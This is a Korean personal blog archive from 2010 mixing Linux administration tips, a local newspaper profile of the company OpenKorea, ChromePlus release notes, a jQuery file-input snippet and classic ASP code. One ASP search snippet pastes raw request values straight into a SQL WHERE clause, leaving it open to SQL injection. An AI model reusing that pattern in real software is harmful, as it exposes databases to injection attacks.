http://rpmfind.net/linux/rpm2html/search.php?query=safedelete 에서
safedelete-1.3-6.src.rpm 을 다운받는다

root]#rpm -Uvh safedelete-1.3-6.src.rpm
root]#cd /usr/src/redhat/SOURCES
root]#mkdir -p /root/temp/safedelete
root]# mv * /root/temp/safedelete/
root]#cd /root/temp/safedelete
root]# tar xvfz safedelete-1.3.tar.gz
root]#tar xvfz safedel-1.3-patch.tar.gz

root]#cp safedelchk.c safedelete-1.3
root]#cp *.patch safedelete-1.3

root]# cd safedelete-1.3
root]# cp Makefile.LINUX Makefile

root]#patch -p1 < ./safedelete-1.3-glibc.patch
root]#patch -p1 < ./safedelete-1.3-y2k.patch
root]#patch undelete.c safedelete-1.3-redhat.patch
root]#patch Makefile safedelete-1.3-config.patch
root]#patch Makefile safedelete-1.3-makefile.patch
root]#make
root]#make install

.bashrc 에 다음 삽입
alias rm='/usr/bin/safedelete'
alias purge='/bin/rm'
export SAFEDAYS=7 # 7일간 보관하라
safedelchk

.safedelete.log 에 지운파일 정보를 보관
따라서, .safedelete.log를 보고 파일을 복원시키고자 할때
undelete 파일명 의 형식으로 복원함

2010/03/29 07:37 2010/03/29 07:37
VNC 사용

virtual network computing의 약자로 www.uk.research.att.com에서 구할 수 있다. 개발자가 여러 컴퓨터에서 쉽게 개발 환경을 접근할 수 있어서 편리하다. 아직 한글 입력 서버가 되지 않지만 한텀 같은 자체입력 프로그램은 한글이 지원된다. download는 ftp://ftp.uk.research.att.com/pub/vnc/dist에서 받으면 된다.

리눅스 명령 소스 구하기

리눅스 설치시 전부를 선택해도 리눅스 커널 소스만 설치되고 나머지 명령어의 프로그램 소스는 설치되지 않는다.
예를 들어 bc명령어의 소스를 구해보도록 하자.
bc의 파일 위치를 알아낸다.

% which bc
/usr/bin/bc
어떤 rpm파일에서 속한 것인지 알아낸다.
% rpm -qf /usr/bin/bc
bc-1.05a-4
그 rpm파일에 대응하는 source rpm 파일을 download 받는다.
% ftp ftp.bora.net
Connected to ftp.bora.net.
220 ProFTPD 1.2.0pre10 Server (ftp5.bora.net) [ftp5.bora.net]
Name (ftp.bora.net:nso): ftp
331 Anonymous login ok, send your complete e-mail address as password.
Password: nso@
230 Anonymous access granted, restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd pub/linux/redhat/redhat/redhat-6.2/SRPMS/SRPMS
250 CWD command successful.
ftp> mget bc*
mget bc-1.05a-5.src.rpm? y
200 PORT command successful.
150 Opening BINARY mode data connection for bc-1.05a-5.src.rpm (227311 bytes).
226 Transfer complete.
227311 bytes received in 0.52 secs (4.3e+02 Kbytes/sec)
ftp> quit
221 Goodbye.
rpm파일을 홈디렉토리에 푼다. 그러기 위해서는 usr/src/redhat/SOURCES라는 하위 디렉토리가 존재해야 한다.
% mkdir -p usr/src/redhat/SOURCES
% rpm -ihv --root=`pwd` bc*
bc ##################################################

프로그램 소스가 풀린 디렉토리로 가서 tar로 묶여진 파일인 경우 tar명령으로 풀면 프로그램 소스를 볼 수가 있다.
% cd usr/src/redhat/SOURCES
% ls
bc-1.05a.tar.gz
% tar xvfz bc*
% cd bc-1.05
프로세스 죽이기

awk와 ps를 이용해서 특정 프로그램을 kill할 수 있다. kill -9 `ps aux | grep hanterm | awk '{print $2}'`

online 메뉴얼 인쇄

man -t man하면 메뉴얼이 postscript로 출력되므로 파이프로 받아서 lpr명령으로 프린터로 출력하면 된다.
man -t test | lpr
또는 man test | groff -Tps -mandoc | lpr해도 되고요.
한글 메뉴얼은 안 되는 것 같고요.
LANG 환경변수를 바꾸어서 영문 메뉴얼을 인쇄하도록

netscape에서 한글 인쇄

ghostscript를 이용해서 한글을 출력할 수 있도록 해줄 수 있는데 Postscript프린터면 프린터를 PCL 프린터를 하나 더 추가해서 ghostscript filter로 통과하도록 만들면 된다.

text 파일 인쇄

nh2ps를 이용해서 위의 방법으로 인쇄를 한다.

한텀 타이틀 바꾸기

echo -n "^[]2;test^G"
여기서 ^[는 ctrl+v를 누르고 ctrl-[를 누르고 ^G는 ctrl+v를 누르고 ctrl-G를 누른다.

삼성 센스820에 리눅스 설치

설치가 거의 끝나는 무렵에 PS/2마우스 포트를 검색하는 부분에서 시스템이 멈추어버린다. 그러므로 알짜리눅스 6.0을 설치할 때는 꼭 전문가 모드에서 설치를 해주어야 한다. 그리고 lilo설정시에 Use linear mode를 부분을 선택해야한다.
참고 : samsungelectronics.com/kr/computer/technical/software/linux/linux_setup01.html
알짜리눅스 6.1에서는 문제없이 설치되었던 것 같다

Redhat 6.0에서 smbmount

5.x와 달리 smbmount의 명령형식이 달라진 것 같다. smbmount //garden/mp3 /mnt/mp3 -U nso형식에서 smbmount //garden/mp3 -U nso -c 'mount /mnt/mp3'로 바뀐 것 같다.
6.1에서는 문제점이 사라진 것 같다.

core 파일이 생기는 것 방지

프로그램 버그로 에러가 발생하면 메모리 이미지를 core라는 파일로 만드는데 현재 디렉토리가 nfs로 연결되어 있는 상태이고 메모리를 많이 사용하는 프로세스라면 거의 시스템이 먹통이 된다. 그것을 사전에 방지하려면 .cshrc에다 limit coredumpsize 0를 넣어두면 좋다. 어차피 core파일을 분석할 일은 드물테니까.


프로세스 죽이기

awk와 ps를 이용해서 특정 프로그램을 kill할 수 있다. kill -9 `ps -ef | grep hanterm | awk '{print $2}'`

한텀 타이틀 바꾸기

echo -n "^[]2;test^G"
여기서 ^[는 ctrl+v를 누르고 ctrl-[를 누르고 ^G는 ctrl+v를 누르고 ctrl-G를 누른다.

netscape XmTextField font error

netscape를 사용하면서 URL창에 글자가 나오지 않고 XmTextField font error가 나오는 경우 xrdb를 이용해서 *XmTextField.fontList: -*-helvetica-medium-r-*-120*-iso8859-* 를 입력하면 해결된다.

한영 전환 키

CDE환경에서는 openwin환경과는 달리 한/영키를 쓰지 않고 ctrl+space로 한영전환을 합니다. 화면에 htt를 클릭해서 일반을 보면 설정값을 알 수 있습니다.


man page를 postscript로 출력

/usr/share/man/* 아래에 있는 파일을 troff -man으로 출력포맷을 만들어서 /usr/lib/lp/postscript/dpost를 써서 postscript로 변환할 수 있다. 예를 들어 sh에 대한 manual을 인쇄하고 싶다면


troff -man /usr/share/man/man1/sh.1 | /usr/lib/lp/postscript/dpost | lp

를 하면 된다.
2.7부터는 troff대신 sgml을 사용해서 online manual을 생성한 것이 많아서 위의 명령으로 되지 않을 수 있다.
PS파일 인쇄시 종이크기를 선택하지 못한다고 출력

Can't select requested paper size for Frame print job!라고 출력이 되면 대부분 FrameMaker 4에서 만들어진 PS파일이다. 문제를 제거하려면 그 vi로 그 파일을 수정하는데 /\/PageSize가 있는 라인을 찾아 A를 해서 끝에 pop false를 덧붙이고 저장하고 출력하면 된다.

웹브라우저를 netscape로

만약 웹브라우저가 netscape대신 hotjava가 실행되면 profile파일에서 설정해준 PATH에서 netscape를 찾을 수 없어서 hotjava가 실행된 것입니다. 홈디렉토리의 .cshrc나 .profile파일에서 PATH를 잘 설정해주십시오. 만약 /usr/dt/appconfig/types/ko/user-prefs.dt의 WebBrowser부분에 MAP_ACTION SDtHotJava라고 되어있으면 hotjava가 수행되므로 그런 경우 홈디렉토리 밑에 .dt/types디렉토리로 파일을 복사해서 SDtHotJava부분을 SDtNetscape로 변경하면 된다.

2장을 한장에다 프린트

postscript 파일의 경우 ftp://ftp.dcs.ed.ac.uk/pub/ajcd/psutils.tar.gz을 가져다가 gcc가 있는 환경에서 ln -s Makefile.unix Makefile을 하고 make를 하면 perl이 없으면 에러를 내고 중지된다. 그래도 psnup이 생성되므로 psnup을 이용해서 -2 옵션을 주고 input ps file이름과 output ps file이름을 주면 한장에 2장씩으로 postcript 파일을 생성해준다.

core 파일이 생기는 것 방지

프로그램 버그로 에러가 발생하면 메모리 이미지를 core라는 파일로 만드는데 현재 디렉토리가 nfs로 연결되어 있는 상태이고 메모리를 많이 사용하는 프로세스라면 거의 시스템이 먹통이 된다. 그것을 사전에 방지하려면 .cshrc에다 limit coredumpsize 0를 넣어두면 좋다. 어차피 core파일을 분석할 일은 드물테니까.

CDE에서 패널의 파일편집기보다 터미널을 default로

우선 개인용 응용프로그램 서랍에서 파일편집기를 삭제한다. 그리고 데스크탑 응용프로그램 폴더에서 파일편집기를 drag&drop으로 아이콘 설치에다 가져 놓으면 터미널이랑 파일편집기의 순서를 바꾸어 줄 수 있다.

2010/03/29 06:50 2010/03/29 06:50
출처 :
네이버 - http://news.search.naver.com/search.naver?where=news&sm=tab_jum&query=%uC624%uD508%uCF54%uB9AC%uC544%20%uAE40%uC601%uC0BC

다    음 - http://search.daum.net/search?w=news&q=%EC%98%A4%ED%94%88%EC%BD%94%EB%A6%AC%EC%95%84%20%EA%B9%80%EC%98%81%EC%82%BC&enc=utf8&nil_search=btn

'국내 최고' 넘어 세계시장 목표
[향토기업을 찾아서] ⑫ (주)오픈코리아
2010년 03월 15일 (월) 오창균 기자 crack007@suwon.com

지난 2008년 리먼사태로 촉발된 경제침체 이후 좀처럼 국내 경기가 활력을 되찾지 못하고 있다. 수원지역도 마찬가지다. 기업과 시민이 힘을 합쳐 지역경제 활성화를 위한 방안을 모색해야 할 것이다. 이에 본지는 지역경제를 위해 발 빠르게 움직이고 있는 ‘수원의 향토기업’을 응원하기 위해 연속 기획시리즈를 마련했다. 오늘은 열두 번째 순서로 기술 집중형 IT기업 ‘오픈코리아’를 소개한다. [편집자 주]

“인터넷 홈페이지, 아티보드를 사용하면 언제 어디서나 누구든 손쉽게 만들 수 있습니다. 일반인들은 무료로 이용할 수 있습니다.”  

   
▲ 김영삼 오픈코리아 대표가 아티보드를 설명하고 있다. ⓒ 오창균 기자 crack007@suwon.com
인터넷 홈페이지를 만들거나 관심있는 사람이라면 누구나 들어봤을 법한 ‘아티보드’. www.webarty.com에 접속해 아티보드 솔루션을 내려 받으면 초보자일지라도 인터넷 홈페이지를 한방에 구축할 수 있다.

특히 모든 기능을 포함한 프로그램을 무료로 배포하고 있기 때문에 그 인기는 하늘을 높은줄 모르고 치솟고 있다.

무료로 배포한다고 하지만 ▲빠른 속도 ▲강력한 관리자 모듈 ▲지속적 업데이트 ▲다양한 부가기능·스킨 제공 등으로 인해 최강의 웹사이트 구축 솔루션이라는 평가다.

‘행정중심복합도시디자인·세종시’ 홈페이지를 비롯해 ‘광교신도시 공원디자인공모’, ‘국토지리학회’ 등 관공서는 물론이고 대기업 웹사이트까지 아티보드를 이용해 제작된 홈페이지는 무수히 많다.

모두가 인정하고 있는 아티보드의 장점은 다양하지만 최고 장점이라 하면 바로 빠른 실행속도를 꼽을 수 있다. 자체 개발한 ‘웹 해킹 방지 보안시스템’을 탑재했지만, 복잡한 SQL을 단순화 시키고, 적절한 절차를 기본적으로 수행하기 때문에 빠른 성능을 자랑한다. 

아티보드를 개발·공급하고 있는 오픈코리아(대표 김영삼·수원시 팔달구 우만동 549-10 아석빌딩 3층)는 웹사이트와 인터넷 쇼핑몰, 보안솔루션, 커뮤니티 등 온라인상의 모든 솔루션을 기획·개발하고 있다. 

지난 8년 동안 축적한 기술과 노하우를 보유하고 있으며, 연 매출의 60%를 매년 R&D에 투자하는 등 국내 정상을 목표로 질주하고 있다.

김영삼 오픈코리아 대표는 “웹 에이전시, e비즈니스, 네트워크시스템 등 다양한 사업을 통해 쌓인 노하우를 바탕으로 유기적인 환경을 설계·구축함으로써 앞으로 어떠한 컨텐츠 개발에 있어서도 최고의 결과물을 만들 준비가 돼 있다”고 강조했다

한편 김 대표의 이력은 참 독특하다. 국내에서 알아주는 해킹 커뮤니티인 해커스쿨을 처음 만든이가 바로 김 대표다. 이 후 실력을 인정받아 삼성SDS에서 근무하던 그는 2년만에 돌연 사직서를 제출하고 오픈코리아를 설립한다.

김 대표는 “회사를 그만둔다고 했을 때 주위사람 모두가 미쳤다고 퇴사를 만류했지만 나만의 프로그램을 개발하고 싶다는 꿈을 져버릴 수 없어 과감히 사직서를 던졌다”고 설명했다. 
 
2002년 설립 당시 연 1억원의 매출을 올리기도 빠듯했지만 현재는 연 80억 이상 매출고를 달성하며 불과 6~7년만에 수원 최고의 IT중소기업으로 자리매김했다.

김 대표는 “앞으로 국내 최고의 솔루션을 개발하고, 나아가 세계 시장을 목표로 하는 기업으로 오픈코리아를 성장시키고 싶다”며 포부를 밝히고 “윈도에서 제공하거나 개인적으로 사용하는 방화벽을 사용하지 않으면 누구라도 해킹을 할 수 있으니 반드시 사용해야 한다”고 보안 솔루션 전문가로서 당부했다.


출처 : http://news.search.naver.com/search.naver?where=news&sm=tab_jum&query=%uC624%uD508%uCF54%uB9AC%uC544%20%uAE40%uC601%uC0BC

2010/03/14 23:55 2010/03/14 23:55
엑티브 엑수가 지원되는 크롬플러스 입니다.
 
심플하고 빠른 크롬을 쓰기에는 엑티부엑수가 넘 부담스러우셨다면
 
엑티부엑수지원되는 크롬플러스를 쓰세요.
 
평가도 좋네요.
 
  1. New feature: shortcuts customization in chromeplus configuration page.
  2. New feature: super drag in IE mode.
  3. New feature: adblock speed optimized for pre-loading rules.
  4. New feature: soomth scrolling(disabled by default).
  5. New feature: search engine switch in tool bar(nearby the bookmark star button).
  6. New feature: "add current page to bookmark" menu item in context menu of address bar, context menu of bookmark bar, context menu of current
  7. page and page menu etc.
  8. New feature: minimum or close chromeplus to system tray.
  9. New feature: option to show confirm dialog before closing chromeplus.
  10. New feature: more icon choices for desktop shortcut.
  11. Bug fix: chromeplus crashed when opening plusconfig page.
  12. Bug fix: some of shortcuts don't work in IE mode.
  13. Bug fix: new IE tab lost focus in address bar.
  14. Bug fix: put all other search engines in a sub-menu item of the context menu to avoid making context menu too long.
  15. Bug fix: unsubscrible of adblock filter doesn't work in the chromeplus configuration page.
  16. Bug fix: checkbox of enable switch tabs when mouse wheels on tar-bar not checked by default.
  17. But fix: "Restore closed tabs" button doesn't compatible with themes.
  18. New feature: new extension to click and adblock. Download URL: http://www.chromeplus.org/extensions/plusadblock.crx
  19. New feature: new extension to decorate current page. Download URL: http://www.chromeplus.org/extensions/decorator1.1.crx
2010/03/14 08:46 2010/03/14 08:46
많은 분들이 포스팅 하시고..
예전부터 가라로 작업을 많이 했던 부분인데

최근 작업하는 업체중 까다로운 부분이 있어
작업후에 올려봅니다..

사용법은 아래와 같으며 주 사용문구는

 $("input[type=file]").filestyle({
  image: "../img/search_bt.gif",
  imageheight : 18,
  imagewidth : 90
 });

입니다.


그외에 width가 들어가지만 소스내용중 어차피 마진레프트로 빼는 부분이 있기에
소스상에선 삭제처리 해두었습니다.



<script src='../jq/jquery.js' type='text/javascript'></script>
<script src='../jq/jquery..js' type='text/javascript'></script>

<script>
$(function(){ 
 $("input[type=file]").filestyle({
 image: "../img/search_bt.gif",
 imageheight : 18,
 imagewidth : 90
 });
});
</script>

<input type="file" name="file01" size="10">
2010/03/12 16:10 2010/03/12 16:10
일단 8개의 컬럼에서 검색한다고 하고 검색이 있다는 가정하에..


Dim search(7), kk(7), j, i
  search(0) = "uid"
  search(1) = "customer"
  search(2) = "prodname"
  search(3) = "spec"
  search(4) = "price"
  search(5) = "make"
  search(6) = "info"
  search(7) = "regdate"

   For i = 0 To 7
           If request(search(i)) = "" Then '검색이 있는 컬럼만 체크
        kk(i) = "no"
           Else
        kk(i) = "yes"
          End If
   Next

   j = 0
   For i = 0 To 7
        If kk(i) = "yes" Then
        j = j+1
                 If j = 1 Then
                    search_sql = " where "&search(i)&" like '%"&request(search(i))&"%'"
                 Else
                    search_sql = search_sql & " and "&search(i)&" like '%"&request(search(i))&"%'"
                 End If
        End If
   Next              
2010/03/01 02:24 2010/03/01 02:24

정해준 경로의 소스를 출력하는 함수를 간단하게 만들어보았습니다.

당연한 말이겠지만 같은 사이트 내의 소스만 출력이 됩니다.


<%
function show_source(url)
    Set oFSO = Server.CreateObject("Scripting.FileSystemObject")
 
    strFilepath = Server.Mappath(url)
    Set oFile = oFSO.OpenTextFile(strFilepath, 1)
 
    strText = oFile.ReadAll

    Set oFile = nothing
    Set oFSO = nothing

    strText = Replace(strText, "&", "&amp;")
    strText = Replace(strText, "<", "&lt;")
    strText = Replace(strText, " ", "&nbsp;")
    strText = Replace(strText, vbTab, "&nbsp;&nbsp;&nbsp;&nbsp;")
    strText = Replace(strText, vbCrLf, "<br>")
 
    show_source = strText
end function
%>

<code>
<%=show_source("show_source.asp")%>
</code>

Replace 부분에서 매번 strText 변수에 재할당하지 않고 한줄로 한번에 변환하는 것이 실행 효율이 조금 더 낫지만, 저렇게 Replace 항목이 많은 경우에는 여러줄로 나누어 보기 좋게 해주는 것이 수정을 편하게 하여 유지보수 생산성이 높아집니다.


<code> 태그는 코드를 화면에 출력할때 사용하는 <xmp> 태그와 유사한 동작을 합니다.

함수내에서 화면 출력에 필요한 작업을 이미 대부분 해놓은 상태이므로 코드 출력용 태그는 사실상 불필요합니다. 위의 경우는 단순히 보기 좋으라고 <code> 태그를 붙여놓은 것이므로 제거하셔도 무방합니다.


참고로 <code> 태그 위치에 <xmp> 태그를 대신 사용하면 사소한 문제가 하나 생기니 주의하시길 바랍니다.


============================================================================================================================

늦어지만 저도 답변달아 봅니다.

아래와 같이 보여지게 만들어 줍니다.


<%

Sub viewCode(codefile)
response.write "<p style=""background-color=#eeeeee;"">"
set fso = server.createobject("scripting.filesystemobject")
set f = fso.opentextfile(server.mappath(codefile),1)
allViewCode = viewHTML(f.readall)
set f = nothing
response.write codingcolor(allviewcode,"brown")
response.write "</p>"
End Sub

'Coding부분을  찾아서  Coloring함수로...
function  CodingColor(strTemp,strFontColor)
          Dim  firstPos
          Dim  lastPos
          Dim  leftString
          Dim  midString
          Dim  rightString
          Dim  xmidString

          firstPos  =1
          lastPos  =  1
          do  until  lastPos  >=  len(strTemp)
                    firstPos  =  instr(lastPos,  strTemp,  "&lt;%")
                    if  firstPos  <=  0  then
                              exit  do
                    end  if
                    lastPos  =  instr(firstPos,  strTemp,  "%&gt;")
                    if  lastPos  <=  0  then
                              lastPos  =  len(strTemp)
                    end  if
                    lastPos  =  lastPos  +  len("%&gt;")  -  1
                    leftString  =  left(strTemp,firstPos-1)
                    midString  =  mid(strTemp,firstPos,lastPos-firstPos+1)
                    rightString  =  mid(strTemp,lastPos+1,len(strTemp)-lastPos)
                    xmidString  =  coloring(midString)
'                    strTemp  =  leftString  &  xmidString  &  rightString
'                    lastPos  =  firstPos  +  len(xmidString)-1
                    strTemp  =  leftString  &  "<span  style=color:"  &  strFontColor  &  ";>"  &  xmidString  &  "</span>"  &  rightString
                    lastPos  =  firstPos  +  len("<span  style=color:"  &  strFontColor  &  ";>"  &  xmidString  &  "</span>")-1
          loop

          CodingColor  =  strTemp
end  function

function  coloring(strViewCode)
          Dim  Reservedwords
          Dim  aryReservedword
          Dim  i
          Dim  strFunction
          Dim  aryFunction

          Reservedwords="And|Call|Case|Const|Dim|Do|Each|Else|ElseIf|Empty|End|Eqv|Erase|Error|Exit|Explicit|False|For|Function|If|Imp|In|Is|Loop|Mod|Next|Not|Nothing|Null|On|Option|Or|Private|Public|Randomize|ReDim|Resume|Select|Set|Step|Sub|Then|To|True|Until|Wend|While|Xor"
          aryReservedword=split(Reservedwords,"|")
          for  i  =  0  to  ubound(aryReservedword)
                    strViewCode  =  wordReplace(strViewCode,aryReservedword(i),"blue")
          next
         
          strFunction="Anchor|Array|Asc|Atn|CBool|CByte|CCur|CDate|CDbl|Chr|CInt|CLng|Cos|CreateObject|CSng|CStr|Date|DateAdd|DateDiff|DatePart|DateSerial|DateValue|Day|Dictionary|Document|Element|Err|Exp|FileSystemObject|Filter|Fix|Int|Form|FormatCurrency|FormatDateTime|FormatNumber|FormatPercent|GetObject|Hex|History|Hour|InputBox|InStr|InstrRev|IsArray|IsDate|IsEmpty|IsNull|IsNumeric|IsObject|Join|LBound|LCase|Left|Len|Link|LoadPicture|Location|Log|LTrim|RTrim|Trim|Mid|Minute|Month|MonthName|MsgBox|Navigator|Now|Oct|Replace|Right|Rnd|Round|ScriptEngine|ScriptEngineBuildVersion|ScriptEngineMajorVersion|ScriptEngineMinorVersion|Second|Sgn|Sin|Space|Split|Sqr|StrComp|String|StrReverse|Tan|Time|TextStream|TimeSerial|TimeValue|TypeName|UBound|UCase|VarType|Weekday|WeekDayName|Window|Year"
          aryFunction=split(strFunction,"|")
          for  i  =  0  to  ubound(aryFunction)
                    strViewCode  =  wordReplace(strViewCode,aryFunction(i),"red")
          next
          strviewcode  =  blockcomment(strviewcode,"""""magenta")
          strviewcode  =  linecomment(strviewcode,"'""green")
          coloring  =  linecomment(strviewcode,"Rem""green")
end  function

'HTML  보기에서  단어에  색상입히기
Function  wordReplace(strSearchWithin,strSearchFor,fontcolor)
          Dim  lngStartingPosition
          Dim  lngFoundPosition
          Dim  strReplaced
          Dim  ascBlank
        lngStartingPosition=1
        lngFoundPosition=InStr(lngStartingPosition,strSearchWithin,strSearchFor,1)
        do  while  lngFoundPosition  >  0
                    ascBlank=asc(Mid(strSearchWithin,lngFoundPosition-1,1))
                    if  (ascBlank>=48  and  ascBlank<=57)  or  (ascBlank>=65  and  ascBlank<=90)  or  (ascBlank>=97  and  ascBlank<=122)  then
                                        strReplaced=strReplaced  &  Mid(strSearchWithin,lngStartingPosition,lngFoundPosition-lngStartingPosition)  &  mid(strSearchWithin,lngFoundPosition,len(strSearchFor))
                    else
                              ascBlank=asc(Mid(strSearchWithin,lngFoundPosition+len(strSearchFor),1))
                              if  (ascBlank>=48  and  ascBlank<=57)  or  (ascBlank>=65  and  ascBlank<=90)  or  (ascBlank>=97  and  ascBlank<=122)  then
                                        strReplaced=strReplaced  &  Mid(strSearchWithin,lngStartingPosition,lngFoundPosition-lngStartingPosition)  &  mid(strSearchWithin,lngFoundPosition,len(strSearchFor))
                              else
                                        'found
                                        strReplaced=strReplaced  &  Mid(strSearchWithin,lngStartingPosition,lngFoundPosition-lngStartingPosition)  &  "<font  color="  &  fontcolor  &  ">"  &  mid(strSearchWithin,lngFoundPosition,len(strSearchFor))  &  "</font>"
                              end  if
                    end  if
                lngStartingPosition=lngFoundPosition+len(strSearchFor)
                lngFoundPosition=InStr(lngStartingPosition,strSearchWithin,strSearchFor,1)
        Loop 
        wordReplace=strReplaced  &  Mid(strSearchWithin,lngStartingPosition)  'catch  the  last  one
End  Function

'HTML  보기
function  viewHTML(strHTML)
          viewHTML    =  replace(replace(replace(replace(replace(replace(strHTML,"&","&amp;"),"<","&lt;"),">","&gt;"),"  ","&nbsp;  "),"          ","&nbsp;  &nbsp;  &nbsp;  &nbsp;  &nbsp;  "),vbcrlf,"<br>"  &  vbcrlf)
end  function

'줄단위  주석문  처리
function  linecomment(strTemp,  strCommentChar,  strFontColor)
          Dim  firstPos
          Dim  lastPos
          Dim  leftString
          Dim  midString
          Dim  rightString
          Dim  xmidString

          firstPos  =1
          lastPos  =  1
          do  until  lastPos  >=  len(strTemp)
                    firstPos  =  instr(lastPos,  strTemp,  strCommentChar)
                    if  firstPos  <=  0  then
                              exit  do
                    end  if
                    lastPos  =  instr(firstPos,  strTemp,  "<br>"  &  vbcrlf)  +  5
                    if  lastPos  <=  0  then
                              lastPos  =  len(strTemp)
                    end  if
                    'Single  Quotation  &  "Rem"  String  Exception  ("'",  "Rem")
                    If  not(mid(strTemp,  firstPos-1,  1)=""""  And  mid(strTemp,firstPos  +  Len(strCommentChar),1)="""")    Then
                              leftString  =  left(strTemp,firstPos-1)
                              midString  =  mid(strTemp,firstPos,lastPos-firstPos+1)
                              rightString  =  mid(strTemp,lastPos+1,len(strTemp)-lastPos)
                              xmidString  =  extractColor(midString)
                              strTemp  =  leftString  &  "<font  color="  &  strFontColor  &  ">"  &  xmidString  &  "</font>"  &  rightString
                              lastPos  =  instr(firstPos,  strTemp,  "<br>"  &  vbcrlf)  +  6
                    Else
                              lastPos  =  lastPos  +  1
                    End  If
          loop

          linecomment  =  strTemp
end  function

'블럭단위  주석문  처리
function  blockcomment(strTemp,  strCommentChar,  strFontColor)
          Dim  firstPos
          Dim  lastPos
          Dim  leftString
          Dim  midString
          Dim  rightString
          Dim  xmidString

          firstPos  =1
          lastPos  =  1
          do  until  lastPos  >=  len(strTemp)
                    firstPos  =  instr(lastPos,  strTemp,  strCommentChar)
                    if  firstPos  <=  0  then
                              exit  do
                    end  if
                    lastPos  =  instr(firstPos+len(strCommentChar),  strTemp,  strCommentChar)
                    if  lastPos  <=  0  then
                              lastPos  =  len(strTemp)
                    end  if
                    lastPos  =  lastPos  +  len(strCommentChar)-1
                    leftString  =  left(strTemp,firstPos-1)
                    midString  =  mid(strTemp,firstPos,lastPos-firstPos+1)
                    rightString  =  mid(strTemp,lastPos+1,len(strTemp)-lastPos)
                    xmidString  =  extractColor(midString)
                    strTemp  =  leftString  &  "<font  color="  &  strFontColor  &  ">"  &  xmidString  &  "</font>"  &  rightString
                    lastPos  =  firstPos  +  len("<font  color="  &  strFontColor  &  ">"  &  xmidString  &  "</font>")
          loop

          blockcomment  =  strTemp
end  function

function  extractColor(strColor)
          dim  exfirstPos
          dim  exlastPos
          Dim  xleftString
          Dim  xmidString
          Dim  xrightString

          extractColor  =  strColor
'          exit  function

          exfirstPos  =1
          exlastPos  =  1
          do  until  exlastPos  >=  len(strColor)
                    exfirstPos  =  instr(exlastPos,  strColor,  "<font  color=")
                    if  exfirstPos  <=  0  then
                              exit  do
                    end  if
                    exlastPos  =  instr(exfirstPos  +  11,  strColor,  ">")
                    if  exlastPos  <=  0  then
                              exit  do
                    end  if
                    xleftString  =  left(strColor,exfirstPos-1)
                    xmidString  =  mid(strColor,exfirstPos,exlastPos-exfirstPos+1)
                    xrightString  =  mid(strColor,exlastPos+1,len(strColor)-exlastPos)
                    strColor  =  xleftString  &  xrightString
                    exlastPos  =  exfirstPos-1
                    exfirstPos  =  exlastPos
          loop
          extractColor  =  replace(strColor,"</font>","")
end  function
%>

2010/03/01 02:22 2010/03/01 02:22